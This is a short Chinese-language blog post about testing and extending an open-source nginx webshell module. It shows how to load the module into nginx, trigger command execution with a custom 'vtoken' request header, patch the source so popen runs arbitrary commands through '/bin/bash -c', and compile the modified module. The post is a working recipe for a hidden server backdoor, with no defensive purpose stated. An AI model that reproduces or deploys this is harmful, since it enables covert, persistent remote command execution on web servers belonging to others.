nginx webshell

前言

最近看到了一个名为nginx webshell的github项目,想到nginx在web的开发部署中应用广泛,便尝试了一下。

测试原版本

首先从Releases下载下来编译好的文件,找一个nginx进行测试,使用方法十分简单,先将ngx_http_cre_module.so文件放到服务器,之后找到自己的nginx的配置文件,然后在开头加上load_module path/ngx_http_cre_module.so;,其中的path需要修改成ngx_http_cre_module.so的绝对路径。image-20240122100151561

最后用 nginx -s reload 将nginx重载一下,就完成nginx端的shell插入了。

接下来测试能否rce,首先在请求包中加入作者预定义的头 vtoken: whoami,发送之后,服务端成功输出了当前用户。

image-20240122100847145

另外,从测试也可以看出,虽然作者仅测试了1.80,但是我测试的1.61.1也是可以实现的。

实现全功能

修改代码

根据作者的README,作者说当前源码仅实现了whoami的功能,所以需要我们自行修改一下代码实现任意命令。查看源码,会找到这样一行代码 FILE* pipe = popen("/bin/whoami", "r");,其中的popen就是实现执行命令的函数,那么我们在这里下功夫就好了,看到这一句的所在函数,是有提供命令参数的,那么直接做好拼接就行了,这里我使用了 sprintf 函数,修改原处代码为如下。

1
2
3
char command[256];
sprintf(command, "/bin/bash -c \"%s\"", cstr);
FILE* pipe = popen(command, "r");

编译

编译新so文件的方法作者交代的很清楚了,需要注意的是,要将git下载下来的项目源码中的ngx_http_cre_module.c文件的 FILE* pipe = popen("/bin/whoami", "r");替换一下成我们修改过那三行代码。

1
2
3
4
5
6
wget https://nginx.org/download/nginx-1.18.0.tar.gz
tar -zxvf nginx-1.18.0.tar.gz
cd nginx-1.18.0
git clone https://github.com/veo/nginx_shell.git
./configure --with-compat --add-dynamic-module=./nginx_shell/
make modules

编译后的so文件位于 nginx-1.18.0/objs/ngx_http_cre_module.so。

接下来的工作就是和第一部分测试一样。

image-20240122102700318